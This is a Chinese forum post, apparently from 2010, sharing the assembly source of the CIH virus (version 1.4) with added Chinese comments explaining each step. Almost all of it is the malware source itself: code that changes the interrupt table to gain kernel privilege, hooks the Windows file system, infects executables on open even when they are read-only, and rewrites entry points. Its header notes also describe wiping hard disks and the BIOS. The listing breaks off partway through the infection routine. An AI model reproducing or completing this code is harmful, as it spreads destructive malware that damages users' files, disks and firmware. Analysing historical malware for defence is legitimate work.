首页
社区
课程
招聘
[旧帖] [分享]CHI 病毒分析 0.00雪花
发表于: 2010-7-11 20:25 1882

[旧帖] [分享]CHI 病毒分析 0.00雪花

2010-7-11 20:25
1882
发了个虚拟机源码分析没人顶,再发个CIH病毒分析

; **************************************************************************** 
; *           The Virus Program Information             * 
; **************************************************************************** 
; *                                      * 
; *   Designer : CIH          Source : TTIT of TATUNG in Taiwan  * 
; *   Create Date : 04/26/1998    Now Version : 1.4           * 
; *   Modification Time : 05/31/1998                    * 
; *                                      * 
; *   Turbo Assembler Version 4.0   : tasm /m cih             * 
; *   Turbo Link Version 3.01     : tlink /3 /t cih, cih.exe      * 
; *                                      * 
; *==========================================================================* 
; *           Modification History                 * 
; *==========================================================================* 
; *   v1.0  1. Create the Virus Program.                 *
; *       2. The Virus Modifies IDT to Get Ring0 Privilege.       * 
; * 04/26/1998 3. Virus Code doesn't Reload into System.           * 
; *       4. Call IFSMgr_InstallFileSystemApiHook to Hook File System. * 
; *       5. Modifies Entry Point of IFSMgr_InstallFileSystemApiHook.  * 
; *       6. When System Opens Existing PE File, the File will be   * 
; *         Infected, and the File doesn't be Reinfected.       *
; *       7. It is also Infected, even the File is Read-Only.      * 
; *       8. When the File is Infected, the Modification Date and Time * 
; *         of the File also don't be Changed.             *
; *       9. When My Virus Uses IFSMgr_Ring0_FileIO, it will not Call  * 
; *         Previous FileSystemApiHook, it will Call the Function   * 
; *         that the IFS Manager Would Normally Call to Implement   * 
; *         this Particular I/O Request.                * 
; *
; *       10. The Virus Size is only 656 Bytes.             * 
; *==========================================================================*
; *
; *   v1.1  1. Especially, the File that be Infected will not Increase  * 
; *         it's Size...  ^__^                    * 
; * 05/15/1998 2. Hook and Modify Structured Exception Handing.       * 
; *         When Exception Error Occurs, Our OS System should be in  * 
; *         Windows NT. So My Cute Virus will not Continue to Run,  * 
; *         it will Jmup to Original Application to Run.        * 
; *       3. Use Better Algorithm, Reduce Virus Code Size.       * 
; *       4. The Virus "Basic" Size is only 796 Bytes.         * 
; *==========================================================================* 
; *   v1.2  1. Kill All HardDisk, and BIOS... Super... Killer...     * 
; *       2. Modify the Bug of v1.1                   * 
; * 05/21/1998 3. The Virus "Basic" Size is 1003 Bytes.           * 
; *==========================================================================* 
; *   v1.3  1. Modify the Bug that WinZip Self-Extractor Occurs Error.  * 
; *         So When Open WinZip Self-Extractor ==> Don't Infect it.  * 
; * 05/24/1998 2. The Virus "Basic" Size is 1010 Bytes.           * 
; *==========================================================================* 
; *   v1.4  1. Full Modify the Bug : WinZip Self-Extractor Occurs Error. * 
; *       2. Change the Date of Killing Computers.           * 
; * 05/31/1998 3. Modify Virus Version Copyright.              * 
; *       4. The Virus "Basic" Size is 1019 Bytes.           * 
; **************************************************************************** 
                                        
         .586P                               
                                        
; **************************************************************************** 
; *       Original PE Executable File(Don't Modify this Section)    * 
; **************************************************************************** 

OriginalAppEXE  SEGMENT

; *===========================================================================
; * 编译连接后的PE格式可执行文件文件头
; *===========================================================================

FileHeader:
       
; *===========================================================================
; * MS-DOS头部
; * 5a4dH是MS-DOS头部的魔数,表示ASCII的MZ,共64字节
; *===========================================================================
                               
         db   04dh, 05ah, 090h, 000h, 003h, 000h, 000h, 000h     
         db   004h, 000h, 000h, 000h, 0ffh, 0ffh, 000h, 000h     
         db   0b8h, 000h, 000h, 000h, 000h, 000h, 000h, 000h     
         db   040h, 000h, 000h, 000h, 000h, 000h, 000h, 000h     
         db   000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h     
         db   000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h     
         db   000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h  

; *===========================================================================
; * 对NT来说,只有最后4字节是有用的,代表的文件偏移量,PE文件头部就是由
; * 它定位的,在这里是00000080H(128)
; *===========================================================================
                               
         db   000h, 000h, 000h, 000h, 080h, 000h, 000h, 000h  

; *===========================================================================   
; * 接下来是实模式残余程序,实模式残余程序是一个在装载时能够被MS-DOS运行
; * 的实际程序。对于一个MS-DOS的可执行映像文件,应用程序就是从这里执行的
; * 对于Windows、OS/2、Windows NT这些操作系统来说, MS-DOS残余程序就代替
; * 了主程序的位置被放在这里。这种残余程序通常什么也不做,而只是输出一行
; * 文本
; * 例如:“This program requires Microsoft Windows v3.1 or greater.”
; * 用户可以在此放入任何的残余程序。
; *===========================================================================                               

         db   00eh, 01fh, 0bah, 00eh, 000h, 0b4h, 009h, 0cdh     
         db   021h, 0b8h, 001h, 04ch, 0cdh, 021h, 054h, 068h     
         db   069h, 073h, 020h, 070h, 072h, 06fh, 067h, 072h     
         db   061h, 06dh, 020h, 063h, 061h, 06eh, 06eh, 06fh     
         db   074h, 020h, 062h, 065h, 020h, 072h, 075h, 06eh     
         db   020h, 069h, 06eh, 020h, 044h, 04fh, 053h, 020h     
         db   06dh, 06fh, 064h, 065h, 02eh, 00dh, 00dh, 00ah     
         db   024h, 000h, 000h, 000h, 000h, 000h, 000h, 000h  

; *===========================================================================
; * 4550h表示是一个NT的PE可执行文件,有以下四种可能:
; * WINNT.H
; * #define IMAGE_DOS_SIGNATURE                0x5A4D // MZ
; * #define IMAGE_OS2_SIGNATURE                0x454E // NE
; * #define IMAGE_OS2_SIGNATURE_LE        0x454C // LE
; * #define IMAGE_NT_SIGNATURE                0x00004550 // PE00
; *                               
; * 从4550H后面的0000H后面开始就是真正的PE头部了,共20个字节
; * (跳过050h, 045h, 000h, 000h)
; * 014cH:这两个字节代表机器,并且是Intel平台
; *===========================================================================

         db   050h, 045h, 000h, 000h, 04ch, 001h, 001h, 000h     
         db   0f1h, 068h, 020h, 035h, 000h, 000h, 000h, 000h

; *===========================================================================
; * 010fH是Characteristics,Characteristics域表示了文件的一些特征。 比如
; * 对于一个可执行文件而言,分离调试文件是如何操作的。调试器通常使用的方
; * 法是将调试信息从PE文件中分离,并保存到一个调试文件(.DBG)中。要这么
; * 做的话,调试器需要了解是否要在一个单独的文件中寻找调试信息,以及这个
; * 文件是否已经将调试信息分离了。我们可以通过深入可执行文件并寻找调试信
; * 息的方法来完成这一工作。
; * 要使调试器不在文件中查找的话, 就需要用到IMAGE_FILE_DEBUG_STRIPPED这
; * 个特征,它表示文件的调试信息是否已经被分离了。这样一来,调试器可以通
; * 过快速查看PE文件的头部的方法来决定文件中是否存在着调试信息。
; *===========================================================================

         db   000h, 000h, 000h, 000h, 0e0h, 000h, 00fh, 001h 
                    
; *===========================================================================
; *        接下来是224个字节组成的PE可选头部(实际上是必须的), 包含如初始的堆
; * 栈大小,程序入口点的位置,首选基地址,操作系统版本,段对齐的信息等
; *===========================================================================
                               
         db   00bh, 001h, 005h, 000h, 000h, 010h, 000h, 000h     
         db   000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h     
         db   010h, 010h, 000h, 000h, 000h, 010h, 000h, 000h     
         db   000h, 020h, 000h, 000h, 000h, 000h, 040h, 000h     
         db   000h, 010h, 000h, 000h, 000h, 002h, 000h, 000h     
         db   004h, 000h, 000h, 000h, 000h, 000h, 000h, 000h     
         db   004h, 000h, 000h, 000h, 000h, 000h, 000h, 000h     
         db   000h, 020h, 000h, 000h, 000h, 002h, 000h, 000h     
         db   000h, 000h, 000h, 000h, 002h, 000h, 000h, 000h     
         db   000h, 000h, 010h, 000h, 000h, 010h, 000h, 000h     
         db   000h, 000h, 010h, 000h, 000h, 010h, 000h, 000h     
         db   000h, 000h, 000h, 000h, 010h, 000h, 000h, 000h     
         db   000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h     
         db   000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h     
         db   000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h     
         db   000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h     
         db   000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h     
         db   000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h     
         db   000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h     
         db   000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h     
         db   000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h     
         db   000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h     
         db   000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h     
         db   000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h     
         db   000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h     
         db   000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h     
         db   000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h     
         db   000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 

; *===========================================================================
; * PE文件的段头部(位于可选头部之后),每个段头部40字节
; *=========================================================================== 

         db   000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h     
         db   000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h     
         db   000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h     
         db   000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h     
         db   0c3h, 000h, 000h, 000h, 000h, 000h, 000h, 000h     
         dd   00000000h, VirusSize

OriginalAppEXE ENDS

; ****************************************************************************
; * My Virus Game *
; ****************************************************************************

; *********************************************************
; * Constant Define *
; *********************************************************

TRUE = 1
FALSE = 0

DEBUG = TRUE

MajorVirusVersion = 1        ; 主版本号
MinorVirusVersion = 4        ; 副版本号

VirusVersion = MajorVirusVersion * 10h + MinorVirusVersion        ; 合成版本号

IF DEBUG        ; 是否是调试用

FirstKillHardDiskNumber = 81h        ; 杀掉第二个硬盘“d:”
HookExceptionNumber = 05h                ; 使用5号中断,打印机输出

ELSE

FirstKillHardDiskNumber = 80h         ; 杀掉第一个硬盘“c:”
HookExceptionNumber = 03h                 ; 使用3号中断,串行设备输入字符

ENDIF

FileNameBufferSize = 7fh

; *********************************************************
; *********************************************************

VirusGame SEGMENT

ASSUME CS:VirusGame, DS:VirusGame, SS:VirusGame
ASSUME ES:VirusGame, FS:VirusGame, GS:VirusGame

; *********************************************************
; * Ring3 Virus Game Initial Program *
; *********************************************************

MyVirusStart:

push ebp                ; 保存ebp寄存器

; ****************************************************************************
; * 对“结构化异常处理”相关说明
; *
; * 在进入某个线程时,Windows会将FS寄存器指向该线程的TEB(线程环境块),在
; * 该线程环境块前面是一个异常处理结构,如下:
; *
; * _EXCEPTION_REGISTRATION struc
; * prev dd
; * handler dd
; * _EXCEPTION_REGISTRATION ends
; *
; * 其中,prev指其他异常处理结构,从而形成处理链, 而handler是异常处理函数
; * 地址,所以异常产生时,会自动调用该异常处理程序, 而如果由Windows调用默
; * 认的处理程序,大多是将线程杀死,为避免这种情况产生, CIH安装了自已的异
; * 常处理程序
; ****************************************************************************

; *************************************
; * Let's Modify Structured Exception *
; * Handing, Prevent Exception Error *
; * Occurrence, Especially in NT. *
; *************************************

; 在堆栈中空出8个字节存放_EXCEPTION_REGISTRATION结构
lea eax, [esp - 04h * 2]

xor ebx, ebx

; eax = 原异常处理结构指针,fs:[ebx] = 指向堆栈分配的8字节
xchg eax, fs:[ebx]

call @0
@0:
pop ebx                                                                        ; ebx = @0的虚址
lea ecx, StopToRunVirusCode - @0[ebx]         ; ecx = STRVC的虚址
push ecx                                                                 ; 填充异常处理结构的handler
push eax                                                                ; 填充异常处理结构的prev,形成异常链

; 至此,堆栈中分配的8个字节用完

; *************************************
; * Let's Modify *
; * IDT(Interrupt Descriptor Table) *
; * to Get Ring0 Privilege... *
; *************************************

push eax

; IDT32位基址加上16位限长,共6字节,所以会将push eax的内容覆盖掉 [??]

sidt [esp - 02h]                 ; Get IDT Base Address
pop ebx                                 ; ebx = 中断描述符表基址

; 中断门:m+7 m+6                         m+5 m+4         m+3 m+2         m+1 m+0
;                   Offset(31...16) Attributes         Selector         Offset(15...0)

add ebx, HookExceptionNumber * 08h + 04h        ; ebx指向中断门

cli

; 保存原中断地址
mov ebp, [ebx]                        ; Get Exception Base, ebp = selector + offset(15...0)
mov bp, [ebx - 04h]                ; Entry Point, ebp = offset(31...0)

lea esi, MyExceptionHook - @1[ecx]                        ; ecx = STRVC的虚址, esi = MEH的虚址

push esi

mov [ebx - 04h], si                ; 安装中断处理程序
shr esi, 16                                ; Modify Exception
mov [ebx + 02h], si         ; Entry Point Address

pop esi                                 ; esi = MEH的虚址

; *************************************
; * Generate Exception to Get Ring0 *
; *************************************

int HookExceptionNumber                 ; GenerateException

ReturnAddressOfEndException = $

; *************************************
; * Merge All Virus Code Section *
; *************************************

push esi                                ; esi = MEH虚址 [??]
mov esi, eax                         ; esi指向病毒开始处MyVirusStart

LoopOfMergeAllVirusCodeSection:

mov ecx, [eax - 04h]        ; 长度VirusSize [??]

rep movsb                                ; 将病毒拷到分配好的内存首址

sub eax, 08h
mov esi, [eax]

or esi, esi                         ; esi = 0则不需再拷贝了
jz QuitLoopOfMergeAllVirusCodeSection        ; ZF = 1表示完成

jmp LoopOfMergeAllVirusCodeSection

QuitLoopOfMergeAllVirusCodeSection:

pop esi

; *************************************
; * Generate Exception Again *
; *************************************

int HookExceptionNumber                ; GenerateException Aga

; *************************************
; * Let's Restore *
; * Structured Exception Handing *
; *************************************

ReadyRestoreSE:
sti                                                ; 开中断

xor ebx, ebx

jmp RestoreSE

; *************************************
; * When Exception Error Occurs, *
; * Our OS System should be in NT. *
; * So My Cute Virus will not *
; * Continue to Run, it Jmups to *
; * Original Application to Run. *
; *************************************

; *************************************
; 至此,堆栈结构如下 [??]:
;
;                |---------------------------|
;                | 最初的ebp                                        | <-esp(执行RestoreSE后)
;                |---------------------------|
;                | 自已安装的异常处理handler        |
;                |---------------------------|
;                 | 系统默认的异常prev                | <-fs:[ebx]
;                |---------------------------|
;
; *************************************

StopToRunVirusCode:
@1 = StopToRunVirusCode

xor ebx, ebx
mov eax, fs:[ebx]
mov esp, [eax]                         ; 将esp指向系统默认异常prev

RestoreSE:
pop dword ptr fs:[ebx]         ; 恢复系统默认的异常处理
pop eax                                 ; 清除自已安装的处理程序指针

; *************************************
; * Return Original App to Execute *
; *************************************

pop ebp                                 ; 恢复ebp

; win32程序代码的默认装入地址是00401000h,而大部分的
; 程序的入口都是第一行代码, 所以也就是说00401000h是
; 大部分win32程序的入口

push 00401000h                         ; Push Original
; 保存程序原入口地址
OriginalAddressOfEntryPoint = $ - 4        ; App Entry Point to Stack

ret                         ; Return to Original App Entry Point

; *********************************************************
; * Ring0 Virus Game Initial Program *
; *
; * 病毒的中断处理程序
; *********************************************************

MyExceptionHook:
@2 = MyExceptionHook

; 如果病毒代码已拷贝好,则安装文件系统钩子
jz InstallMyFileSystemApiHook

; *************************************
; * Do My Virus Exist in System !? *
; *************************************

mov ecx, dr0                                                ; dr0为病毒驻留标志
jecxz AllocateSystemMemoryPage                ; 未驻留,则分配系统内存

add dword ptr [esp], ReadyRestoreSE - ReturnAddressOfEndException

; *************************************
; * Return to Ring3 Initial Program *
; *************************************

ExitRing0Init:                        ; 回到级3
mov [ebx - 04h], bp                ; ebp存放的是原中断片是地址, ebx指向中断门(见上)
shr ebp, 16                                ; Restore Exception
mov [ebx + 02h], bp                ; 恢复原来的中断处理程序

iretd

; *************************************
; * Allocate SystemMemory Page to Use *
; *************************************

; ******************************************************************
; * ULONG EXTERN _PageAllocate(ULONG nPages, ULONG pType, ULONG VM,
; *                                        ULONG AlignMask, ULONG minPhys, ULONG maxPhys,
; *                                        ULONG * PhysAddr, ULONG flags)
; ******************************************************************

AllocateSystemMemoryPage:                 ; 分配系统内存

mov dr0, ebx                        ; Set the Mark of My Virus Exist in System

push 00000000fh
push ecx                                ; ecx = 0
push 0ffffffffh
push ecx
push ecx
push ecx
push 000000001h
push 000000002h
int 20h                                 ; VMMCALL _PageAllocate
_PageAllocate = $
dd 00010053h                        ; Use EAX, ECX, EDX, and flags
add esp, 08h * 04h
xchg edi, eax                        ; EDI = SystemMemory Start Address
lea eax, MyVirusStart - @2[esi]                ; eax指向病毒开始处

; 此代码运行于中断环境中,所以用iretd返回

iretd                ; Return to Ring3 Initial Program

; *************************************
; * Install My File System Api Hook *
; *************************************

; *****************************************************************
; * 安装文件系统的钩子
;
; * 调用INT20来完成调用一个IFSMgr_InstallFileSystemApiHook的子程序,
; * 在Windows内核中文件系统处理函数中挂接钩子,以截取文件调用的操作
; * 这样一旦系统出现要求开启文件的调用,则CIH病毒的传染部分程序就会
; * 在第一时间截获此文件;
; * 将同时获取的Windows默认的IFSMgr_Ring0_FileIO(核心文件输入/输出)
; * 服务程序的入口地址保留在DR0寄存器中,以便于CIH病毒调用
; *****************************************************************

InstallMyFileSystemApiHook:

lea eax, FileSystemApiHook - @6[edi]        ; 取得欲安装的钩子函数的地址

push eax
int 20h                                        ; VXDCALL IFSMgr_InstallFileSystemApiHook
IFSMgr_InstallFileSystemApiHook = $
dd 00400067h                        ; Use EAX, ECX, EDX, and flags
mov dr0, eax                        ; Save OldFileSystemApiHook Address
pop eax                                 ; EAX = FileSystemApiHook Address

; Save Old IFSMgr_InstallFileSystemApiHook Entry Point
mov ecx, IFSMgr_InstallFileSystemApiHook - @2[esi]
mov edx, [ecx]                         ; edx为IFSMgr_InstallFileSystemApiHook功能的入口
mov OldInstallFileSystemApiHook - @3[eax], edx                ; 保存

; Modify IFSMgr_InstallFileSystemApiHook Entry Point
lea eax, InstallFileSystemApiHook - @3[eax]
mov [ecx], eax                        ; 修改IFSMgr_InstallFileSystemApiHook的入口
cli

jmp ExitRing0Init

; *********************************************************
; * Code Size of Merge Virus Code Section *
; *********************************************************

CodeSizeOfMergeVirusCodeSection = offset $

; *********************************************************
; * IFSMgr_InstallFileSystemApiHook *
; *********************************************************

; 病毒提供的IFSMgr_InstallFileSystemApiHook功能调用
; 用于将原来安装的FileSystemApiHook移除

InstallFileSystemApiHook:
push ebx

call @4
@4:
pop ebx                                        ; mov ebx, offset FileSystemApiHook
add ebx, FileSystemApiHook - @4

push ebx                                ; ebx = FileSystemApiHook的虚址
int 20h                                        ; VXDCALL IFSMgr_RemoveFileSystemApiHook
IFSMgr_RemoveFileSystemApiHook = $
dd 00400068h                        ; Use EAX, ECX, EDX, and flags
pop eax

; Call Original IFSMgr_InstallFileSystemApiHook
; to Link Client FileSystemApiHook
push dword ptr [esp + 8]

; 调用原来的IFSMgr_InstallFileSystemApiHook功能设置钩子
call OldInstallFileSystemApiHook - @3[ebx]
pop ecx

push eax

; Call Original IFSMgr_InstallFileSystemApiHook
; to Link My FileSystemApiHook
push ebx                                ; ebx = FileSystemApiHook的虚址
call OldInstallFileSystemApiHook - @3[ebx]
pop ecx

mov dr0, eax                ; Adjust OldFileSystemApiHook Address

pop eax
pop ebx

ret

; *********************************************************
; * Static Data *
; *********************************************************

; 用于保存IFSMgr_InstallFileSystemApiHook的入口
OldInstallFileSystemApiHook dd ?

; *********************************************************
; * IFSMgr_FileSystemHook *
; *********************************************************

; *************************************
; * IFSMgr_FileSystemHook Entry Point *
; *************************************

; 用FileSystemApiHook来替换系统默认的FileSystemApiHookFunction
; 调用规范:
; FileSystemApiHookFunction(pIFSFunc FSDFnAddr, int FunctionNum,
;                int Drive,int ResourceFlags, int CodePage, pioreq pir)
; 所以,系统将会传递参数给钩子FileSystemApiHook

FileSystemApiHook:                        ; 提供的文件系统钩子
@3 = FileSystemApiHook

pushad                                                 ; 保存寄存器(20h长)

call @5
@5:
pop esi                                         ; mov esi, offset -> esi=当前指令的虚址
add esi, VirusGameDataStartAddress - @5                ; esi = VGDSA的虚址

; *************************************
; * Is OnBusy !? *
; *************************************

test byte ptr (OnBusy - @6)[esi], 01h                 ; if ( OnBusy )

; 当前状态不忙,则跳转到pIFSFunc执行,将文件请求往下传 [??]
jnz pIFSFunc                                 ; goto pIFSFunc

; *************************************
; * Is OpenFile !? *
; *************************************

; if ( NotOpenFile )
; goto prevhook
lea ebx, [esp + 20h + 04h + 04h]        ; ebx为FunctionNum的地址
cmp dword ptr [ebx], 00000024h                ; 是否是打开文件
jne prevhook                                                ; 不是就跳到前一个文件钩子去

; *************************************
; * Enable OnBusy *
; *************************************

inc byte ptr (OnBusy - @6)[esi]                ; Enable OnBusy

; *************************************
; * Get FilePath's DriveNumber, *
; * then Set the DriveName to *
; * FileNameBuffer. *
; *************************************
; * Ex. If DriveNumber is 03h, *
; * DriveName is 'C:'. *
; *************************************

; mov esi, offset FileNameBuffer
add esi, FileNameBuffer - @6                ; esi指向FileNameBuffer

push esi

; *************************************************************************
; *
; * UNC相关说明:
; * UNC(Universal Naming Convention)/通用命名规则,也叫通用命名规范、通用
; * 命名约定。
; * 网络(主要指局域网)上资源的完整Windows 2000名称.
; * 它符合\\servername\sharename 格式,其中servername是服务器名,sharename
; * 是共享资源的名称。目录或文件的UNC名称可以包括共享名称下的目录路径,格
; * 式为:\\servername\sharename\directory\filename。
; * 对于网络服务器上的目标文件,可使用“通用命名约定(UNC)”
; *(UNC:“统一命名约定”地址,用于确定保存在网络服务器上的文件位置。这些地
; * 址以两个反斜线 (\\)开头,并提供服务器名、共享名和完整的文件路径。)地
; * 址.这些地址以“file:\\”开始并提供服务器名,共享名和文件的完整路径.例如:
; * “file:\\server\share\path\project file.mpp”是绝对 UNC 地址。
; *
; *************************************************************************

mov al, [ebx + 04h]                        ; al = Driver号
cmp al, 0ffh                                ; 是否是UNC(universal naming conventions)地址
je CallUniToBCSPath

add al, 40h
mov ah, ':'

mov [esi], eax                                ; 处理成"X:"的形式

inc esi
inc esi

; *************************************
; * UniToBCSPath *
; *************************************
; * This Service Converts *
; * a Canonicalized Unicode Pathname *
; * to a Normal Pathname in the *
; * Specified BCS Character Set. *
; *************************************

; UniToBCSPath(unsigned char * pBCSPath, ParsedPath * pUniPath,
;                unsigned int maxLength, int charSet)

CallUniToBCSPath:
push 00000000h                                ; 字符集
push FileNameBufferSize                ; 字符长度

; 打开文件时,系统应该是将打开的文件名存到pioreq结构中,所
; 以,现在,就需要获取该文件名并转为BCS到esi缓冲区中。[??]

mov ebx, [ebx + 10h]                ; 指向pioreq结构 [??]
mov eax, [ebx + 0ch]
add eax, 04h
push eax                                        ; Uni字符首址
push esi                                        ; BCS字符首址
int 20h                                                ; VXDCall UniToBCSPath
UniToBCSPath = $
dd 00400041h
add esp, 04h * 04h                        ; 跳过上面所设参数

abc db ?                                        ; [??]

; *************************************
; * Is FileName '.EXE' !? *
; *************************************

; 至此,esi指向打开的文件路径

; cmp [esi + eax - 04h], '.EXE'
cmp [esi + eax - 04h], 'EXE.'        ; 测试是否是*.EXE(可执行)文件
pop esi
jne DisableOnBusy                        ; 清除“忙”标志

IF DEBUG

; *************************************
; * Only for Debug *
; *************************************

; cmp [esi + eax - 06h], 'FUCK'
cmp [esi + eax - 06h], 'KCUF'        ; 测试是否是'FUCK.EXE'
jne DisableOnBusy

ENDIF

; *************************************
; * Is Open Existing File !? *
; *************************************

; if ( NotOpenExistingFile )
; goto DisableOnBusy
cmp word ptr [ebx + 18h], 01h        ; 是否存在该打开文件 [??]
jne DisableOnBusy

; *************************************
; * Get Attributes of the File *
; *************************************

mov ax, 4300h                ; 获得文件属性号(R0_FILEATTRIBUTES/GET_ATTRIBUTES)
int 20h                                ; VXDCall IFSMgr_Ring0_FileIO
IFSMgr_Ring0_FileIO = $
dd 00400032h

jc DisableOnBusy        ; 失败否?

push ecx                        ; ecx = 文件属性值 [??]

; *************************************
; * Get IFSMgr_Ring0_FileIO Address *
; *************************************

mov edi, dword ptr (IFSMgr_Ring0_FileIO - @7)[esi]
mov edi, [edi]                ;获得IFSMgr_Ring0_FileIO调用的地址

; *************************************
; * Is Read-Only File !? *
; *************************************

test cl, 01h
jz Openfile                ; 测试是否是只读文件,非只读文件,直接打开

; *************************************
; * Modify Read-Only File to Write *
; *************************************

mov ax, 4301h                ; 设置文件属性,更新文件为可写文件
xor ecx, ecx
call edi                        ; VXDCall IFSMgr_Ring0_FileIO

; *************************************
; * Open File *
; *************************************

Openfile:                         ; 打开文件
xor eax, eax
mov ah, 0d5h                ; 打开文件功能号(R0_OPENCREATFILE or RO_OPENCREAT_IN_CONTEXT)
xor ecx, ecx                 ; 文件属性
xor edx, edx
inc edx
mov ebx, edx
inc ebx                                ; esi为文件名首址
call edi                        ; VXDCall IFSMgr_Ring0_FileIO

xchg ebx, eax                ; mov ebx, FileHandle, ebx = 文件句柄

; *************************************
; * Need to Restore *
; * Attributes of the File !? *
; *************************************

pop ecx                                ; 恢复文件属性 [??]

pushf                                 ; 压椎标志寄存器

test cl, 01h
jz IsOpenFileOK                ; 文件本身是可写

; *************************************
; * Restore Attributes of the File *
; *************************************

; 至此,说明文件为只读文件,所以需恢复其属性

mov ax, 4301h                ; 设置文件属性 [??]
call edi                        ; VXDCall IFSMgr_Ring0_FileIO ;恢复文件属性

; *************************************
; * Is Open File OK !? *
; *************************************

IsOpenFileOK:
popf

jc DisableOnBusy        ; 打开是否成功?

; *************************************
; * Open File Already Succeed. ^__^ *
; *************************************

push esi                        ; Push FileNameBuffer Address to Stack ; 文件名首址压栈

pushf                                ; Now CF = 0, Push Flag to Stack ; 保存标志位

add esi, DataBuffer - @7        ; mov esi, offset DataBuffer, esi = 数据区首址

; ***************************
; * Get OffsetToNewHeader *
; ***************************

xor eax, eax
mov ah, 0d6h                ; IFSMgr_Ring0_FileIO的读文件功能号(R0_READFILE)

; For Doing Minimal VirusCode's Length,
; I Save EAX to EBP.
mov ebp, eax

push 00000004h                ; 读取4个字节,这4个字节用于定位PE头部
pop ecx
push 0000003ch                ; 读取dos文件头偏移3ch处的PE文件头偏移
pop edx
call edi                        ; VXDCall IFSMgr_Ring0_FileIO ; 读文件到esi

mov edx, [esi]                ; PE文件头偏移放到edx

; ***************************
; * Get 'PE\0' Signature *
; * of ImageFileHeader, and *
; * Infected Mark. *
; ***************************

dec edx                                ; 定位到PE头部,读取PE标志魔数

mov eax, ebp                ; 功能号R0_READFILE,读文件
call edi                        ; VXDCall IFSMgr_Ring0_FileIO ; 读文件到esi

; ***************************
; * Is PE !? *
; ***************************
; * Is the File *
; * Already Infected !? *
; ***************************
; * WinZip Self-Extractor *
; * doesn't Have Infected *
; * Mark Because My Virus *
; * doesn't Infect it. *
; ***************************

; cmp [esi], '\0PE\0'
cmp dword ptr [esi], 00455000h                ; 判断是否是PE文件
jne CloseFile                ; 不是就关闭文件

; *************************************
; * The File is ^o^ *
; * PE(Portable Executable) indeed. *
; *************************************
; * The File isn't also Infected. *
; *************************************

; *************************************
; * Start to Infect the File *
; *************************************
; * Registers Use Status Now : *
; * *
; * EAX = 04h *
; * EBX = File Handle *
; * ECX = 04h *
; * EDX = 'PE\0\0'; Signature of *
; * ImageFileHeader Pointer's *
; * Former Byte. *
; * ESI = DataBuffer Address ==> @8 *
; * EDI = IFSMgr_Ring0_FileIO Address *
; * EBP = D600h ==> Read Data in File *
; *************************************
; * Stack Dump : *
; * *
; * ESP => ------------------------- *
; * | EFLAG(CF=0) | *
; * ------------------------- *
; * | FileNameBufferPointer | *
; * ------------------------- *
; * | EDI | *
; * ------------------------- *
; * | ESI | *
; * ------------------------- *
; * | EBP | *
; * ------------------------- *
; * | ESP | *
; * ------------------------- *
; * | EBX | *
; * ------------------------- *
; * | EDX | *
; * ------------------------- *
; * | ECX | *
; * ------------------------- *
; * | EAX | *
; * ------------------------- *
; * | Return Address | *
; * ------------------------- *
; *************************************

push ebx                        ; Save File Handle ; 保存文件句柄

push 00h                        ; Set VirusCodeSectionTableEndMark

; ***************************
; * Let's Set the *
; * Virus' Infected Mark *
; ***************************

push 01h                        ; Size
push edx                        ; Pointer of File ; edx指向PE文件头偏移00h
push edi                        ; Address of Buffer ; edi为IFSMgr_Ring0_FileIO的地址(原注释有误)

; ***************************
; * Save ESP Register *
; ***************************

mov dr1, esp

; ***************************
; * Let's Set the *
; * NewAddressOfEntryPoint *
; * ( Only First Set Size ) *
; ***************************

push eax                        ; Size

; ***************************
; * Let's Read *
; * Image Header in File *
; ***************************

mov eax, ebp
mov cl, SizeOfImageHeaderToRead                ; 需要读取的映像的头部长度
add edx, 07h                ; Move EDX to NumberOfSections ; PE文件头 + 07h为NumberOfSections(块个数)
call edi                ; VXDCall IFSMgr_Ring0_FileIO ; 读出NumberOfSections(块个数)到esi

; ***************************
; * Let's Set the *
; * NewAddressOfEntryPoint *
; * ( Set Pointer of File, *
; * Address of Buffer ) *
; ***************************

lea eax, (AddressOfEntryPoint - @8)[edx]
push eax                        ; Pointer of File

lea eax, (NewAddressOfEntryPoint - @8)[esi]
push eax                         ; Address of Buffer

; ***************************
; * Move EDX to the Start *
; * of SectionTable in File *
; ***************************

movzx eax, word ptr (SizeOfOptionalHeader - @8)[esi]        ; eax = PE可选头部长度
lea edx, [eax + edx + 12h]                ; edx为SectionTable的偏移

; ***************************
; * Let's Get *
; * Total Size of Sections *
; ***************************

mov al, SizeOfScetionTable                ; 每个段头部(ScetionTable)的大小(40字节)

; I Assume NumberOfSections <= 0ffh
mov cl, (NumberOfSections - @8)[esi]

mul cl                                 ; cl * al = 段表大小

; ***************************
; * Let's Set Section Table *
; ***************************

; Move ESI to the Start of SectionTable
lea esi, (StartOfSectionTable - @8)[esi]        ; esi指向块表首址(在病毒动态数据区中)

push eax                        ; Size 段表大小
push edx                        ; Pointer of File edx为SectionTable的偏移
push esi                        ; Address of Buffer

; ***************************
; * The Code Size of Merge *
; * Virus Code Section and *
; * Total Size of Virus *
; * Code Section Table Must *
; * be Small or Equal the *
; * Unused Space Size of *
; * Following Section Table *
; ***************************

; 在PE格式文件头的自由空间里,CIH病毒首先占用了(Section数+1)* 8个
; 字节数的空间(本文称为病毒块链表指针区), 用于存放每个病毒块的长
; 度(每块4字节)和块程序在文件里的首地址(每块4字节)。

inc ecx
push ecx                        ; Save NumberOfSections + 1

shl ecx, 03h                ; * 8
